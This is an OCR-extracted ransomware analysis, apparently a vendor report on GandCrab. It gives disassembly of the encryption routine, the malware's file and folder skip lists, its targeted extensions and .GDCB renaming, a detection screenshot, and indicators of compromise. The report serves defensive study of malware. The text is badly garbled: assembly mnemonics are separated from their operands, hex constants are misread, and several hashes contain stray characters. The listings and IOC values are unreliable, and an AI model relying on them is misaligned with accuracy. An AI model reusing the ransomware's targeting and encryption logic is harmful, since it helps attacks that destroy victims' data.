.text:00402DD8 push ebx ; lpModuleName
.text:00402DD9 call esi ; GetModuleHandleW
,text:00402DDB push eax ; hInstance
.text:00402DDC push ebx ; hMenu
,text:00402DDD push ebx ; hWndParent
.text:00402DDE push 5 ; nHeight
.text:00402DEO push 5 ; nWidth
.text:00402DE2 mov eax, 80000000h

.text:00402DE7 push eax ; ¥
,text:00402DE8 push eax ; X
.text:00402DE9 push OCFO000h ; dwStyle
.text:00402DEE push offset WindowName ; "firefox"
.text:00402DF3 push offset ClassName ; "win32app"
.text:00402DF8 push ebx ; dwExStyle
.text:00402DF9 call ds :CreateWindowExW
.text:00402DFF push ebx ; dwNewLong
»text:00402E00 mov esi, eax

.text:00402E02 push OFFFFFFFOh ; nIndex
.text:00402E04 push esi ; hwWwnd
.text:00402E05 call ds :SetWindowLongW
.text:00402E0B test esi, esi

»text:00402E0D jnz short loc_402E12

+avd - NNANIRNET

Encryption routine

As we have established from the initialization section of the malware, the encryption
algorithm used is RSA. Before we get the encryption section, the code makes sure that it is
not encrypting specific types of files that it considers protected. The files are the following,
hard coded into the malware:

desktop.ini
autorun.inf
ntuser.dat
iconcache.db
bootsect.bak
boot.ini
ntuser.dat
thumbs.db
GDCB-DECRYPT. txt
.sql

If it finds that the file name is on that list, it will skip it and continue to the next. It also skips
looking into a folder if it is one of these key folders:

local app data
windows
programfiles
program data
ransomware
localsettings

When it passes these checks and gets to a specific file, it runs one final check on the
extension against a list of acceptable file extensions to be encrypted:
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1cd, .3dm, .3ds, .3fr, .3¢2, .3gp, .3pr, .7z, .7zip, .aac, .ab4,.abd, .acc, .accdb, .accde, .accdr, .accdt, .ach, .acr, .act, .adb, .adp, .ads, .agdl, .ai, .
aiff, .ait, .al, .aoi, .apj, .apk,.arw, .ascx, .asf, .asm, . o .asset, .asx, .atb, .avi,.awg, .back, .backup, .backupdb, .bak, .bank, .bay, .bdb, .bgt,
.bik, .bin, .bkp, .blend, .bmp, .bpw, .bsa, .c, .cash, .cdb, . .cdr3, .cdr4, .cdr5, .c .cdx, .cel, .ce2, .cer, .cfg, .cfn, .cgm, .cib, .
class, .cls, .cmt, .config, .contact, .cpi, .cpp, .cr2, .craw, . .crw, .cry, .cs, .csh, .csl .d3dbsp, .dac, .das, .dat, .db, .db_journal, .db3,
.dbf, .dbx, .dc2, .dcr, .dcs, .ddd, .ddoc, .ddrw, .dds, .def, .der, .des, .desit .dgc, .dgn, . o u, .dng, .doc, .docm, .docx, .dot, .dotm, .dotx, .drf,
.drw, .dtd, .dwg, .dxb, .dxf, .dxg, .edb, .eml, .eps, .erbsql, .erf, .exf, .fdb, .ffd, .fff, .fh,.fhd, .fla, .flac, .flb, .flf, .flv, .flwv, .forge, .fpx, .fxg,

.gbr, .gho, .gif, .gray, .grey, .groups, .gry, .h, . , «hdd,.hpp, .html, .ibank, .ibd, . .idx, .iif, .iiq, .incpas, .indd, .info, .info_, .ini, .iwi, .
jar, .java, .jnt, .jpe, .jpeg, .jpg, .js, .json, . kc2, .kdbx, .kdc, .key, .kpdx, .kwm, .laccdb, .lbf, .lck, .ldf, .lit, .litemod, .litesql, .lock, .log, .
1tx, .lva, .m, .m2ts, .m3u, .md4a, .mdp, .mdv, .ma, . .mapimail, .max, .mbx, .md, .mdb, .mdc, .mdf, .mef, .mfw, .mid, .mkv, .mlb, .mmw, .mny, .money, .
moneywell, .mos, .mov, .mp3, .mp4, .mpeg, .mpg, .mrw, .msf, .msg, .myd, .nd, .ndd, .ndf, .nef, .nk2, .nop, .nrw, .ns2, .ns3, .ns4, .nsd, .nsf, .nsg, .nsh, .
nvram, .nwb, .nx2, .nxl, .nyf, .oab, .obj, .odb, .odc, .odf, .odg, .odm, .odp, .ods, .odt, .ogg, .oil, .omg, .one, .orf, .ost, .otg, .oth,.otp, .ots, .ott, .
p12, .p7b, .p7c, .pab, .pages, .pas, .pat, .pbf, .pcd, .pct, .pdb, .pdd, .pdf, .pef, .pem, .pfx, .php, .pif,.pl, .plc, .plus_muhd, .pm!, .pm, .pmi, .pmj, .pml,
.pmm, .pmo,.pmr, .pnc, .pnd, .png, .pnx, .pot, .potm, .potx, .ppam, .pps, .ppsm, .ppsX,.ppt, .pptm, .pptx, .prf, .private, .ps, .psafe3, .psd, .pspimage, .pst,
.ptx, .pub, .pwm, .py, .gba, .gbb, .qbm, .qbr, .qbw, .gbx, .gby, .qcow, .qcow2, .qed, .qtb, .r3d, .raf, .rar, .rat, .raw, .rdb, .re4, .rm, .rtf, .rvt, .rw2, .
rwl, .rwz, .s3db, .safe, .sas7bdat, .sav, .save, .say, .sd0, .sda, .sdb, .sdf, .sh, .sldm, .sldx, .slm, .sql, .sqlite, .sqlite3, .sqlitedb, .sqlite-shm, .sqlite
-wal, .s .srb, .srf, .srs, .srt, .srw, .st4, .st5, .st6, .st7, .st8, .stc, .std, .sti, .stl, .stm, .stw, .stx, .svg, .swf, .sxc, .sxd, . .SXxi, .sxm, .
sxw, .tax, .tbb,.tbk, .tbn, .tex, .tga, .thm, .tif, .tiff, .tlg, .tlx, .txt, .upk, .usr, .vbox, .vdi, .vhd, .vhdx, .vmdk, .vmsd, .vmx, .vmxf, .vob, .vpd, .vsd,
.wab, .wad, .wallet, .war, .wav, .wb2, .wma, .wmf, .wmv, .wpd, .wps, .x11, .x3f, .xis, .xla, .xlam, .xlk, .xlm,.xlr, .xls, .xlsb, .xlsm, .xlsx, .xlt, .xltm, .
x1ltx, .xlw, .xml, .xps, .xxx, .ycbcra, .yuv, .zip

If all checks pass, it proceeds to use the previously generated keys along with some salt and
random number generated to encrypt the file and rename it with a .GDCB extension. The
main encryption loop is a recursive function that will eventually make it to every file on the
drive.
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.text:004031F2
.text:004031F5
.text:004031FC
.text:00403201
.text:00403202
.text:00403205
.text:00403208
.text:0040320B
.text:00403210
.text:00403213
.text:00403215
.text:00403217
.text:0040321C
.text:0040321F
.text:00403220
.text:00403221
.text:00403224
.text:00403227

.text:0040325E
.text:00403264
.text:00403265
.text:0040326B
.text:0040326C
.text:00403271
.text:00403272
.text:00403273
.text:00403275
.text:00403277
.text:00403278
.text:0040327D
.text:0040327F
.text:00403280
.text:00403281
.text:00403282
.text:00403287
.text:00403288
.text:0040328E
.text:00403290
.text:00403293
.text:00403295
.text:00403297
.text:0040329C
.text:0040329E
.text:0040329F
.text:004032A1
.text:004032A3
.text:004032A5
.text:004032AA
.text:004032AF
.text:004032B0
.text:004032B2
.text:004032B5
téxt50030333t710c_40336C:
text:0040336C
text:00403371
text:00403373
text:00403376
text:0040337C
text:0040337E
text:0040337F
text:00403380
text:00403383
text:00403385
text:00403387
text:00403388
text:00403389
text:0040338F
text:00403391
text:00403394
text:00403395
text:00403398
text:0040339B
text:0040339C

lea
push
lea
push
call
pop
pop
xor
xor
push
push
push
push
ine
push
push
push
call
mov
cmp
jz
[push
push
push
push
call
push
mov
push
push
push
mov
mov
call

push
push
push
call
xor

inc

push
mov

push
neg

push
push
call
push
lea

push
push
push
push
call

lea eax, [ebp+var_4C]

mov [ebp+var_48], 10h

push 800h ; dwBufLen
push eax ; DWORD *
push [ebp+var_14] ; BYTE *
push [ebp+dwDatalLen] ; dwDataLen
push [ebp+pbData] ; pbData
call CryptGetKey_ CallsEncrypt
ladd esp, l4h

test eax, eax

jz short loc_403239

push 800h ; dwBufLen
lea eax, [ebp+var_ 48]

push eax ; DWORD *
push ebx ; BYTE *
push [ebp+dwDatalen] ; dwDataLen
push [ebp+pbData] ; pbData
call CryptGetKey_CallsEncrypt

; CODE XREF: EncryptdsFIle WritesFile+

eax, [ebp+var_ 190]

eax

eax, [ebp+var_ 98]

eax
StaticHashFunction_staticLinked
ecx

ecx

ebx, ebx
eax, eax
ebx

80h

3

ebx

eax

eax ; dwShareMode

hTemplateFile
dwFlagsAndAttributes
dwCreationDisposition
lpSecurityAttributes

e We W W

GENERIC_WRITE or GENERIC_READ ; dwDesiredAccess

edi ; lpFileName
ds:CreateFileW

edi, eax

edi, OFFFFFFFFh

short loc_403239
4 ; flProtect
3000h ; flAllocationType
8 : dwSize
ebx ; lpAddress
esi ; VirtualAlloc
4 ; flProtect
esi, eax
3000h ; flAllocationType
100001h ; dwSize
ebx ; lpAddress
[esi], ebx
[esi+4], ebx
ds:VirtualAlloc
R "7 ; CODE XREF: EncryptdsFIle_WritesFile+294Tj
8000h ; dwFreeType
0 ; dwSize
[ebp+1pAddress] ; lpAddress
ds:VirtualFree
eax, eax
eax
eax ;3 dwMoveMethod
eax, [ebptvar_4]
0 ; lpDistanceToMoveHigh
eax
eax ; lDistanceToMove
edi ; hFile
ds:SetFilePointer
0 ; lpOverlapped
eax, [ebp+NumberOfBytesWritten]
eax ; lpNumberOfBytesWritten
[ebp+NumberOfBytesRead] ; nNumberOfBytesToWrite
[ebp+lpBuffer] ; lpBuffer
edi ; hFile

ds:WriteFile
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Protection

Malwarebytes users are protected at the delivery chain (exploit protection), but we also
proactively stopped this ransomware before having seen it, thanks to our anti-ransomware
engine:

Malwarebytes | PREMIUM X

@ Ransomware automatically quarantined

Malwarebytes detected and automatically quarantined ransormware.
It i5 no longer a threat to your computer.

Type: Ransomware
Marme: Malware.Ransom.Agent.Generic
Path:  C:\UsercH D ecktop|GandCrab.exe

View Quarantine m

Conclusion

It is interesting to see a new ransomware being distributed via exploit kits in what so far
seems to be a few ongoing campaigns. The other interesting aspect is that two distinct
exploit kits are delivering it, although it is unclear if the same actor is behind both campaigns
and experimenting with different distribution channels.

Indicators of Compromise

Seamless gate

31.31.196.187,xn--80abmi5aecft.xn--placf

GrandSoft EK (IP)

62.109.4.135

GandCrab (packed)
69f55139df165bealfcada®b0174d01240bc40bc21laac4h42992f2e@adc2eald
GandCrab (unpacked)

ab0819ae6lechaa87d893aa239dc82d971cfcce2d44b5bebb4c45e66bb32ec51
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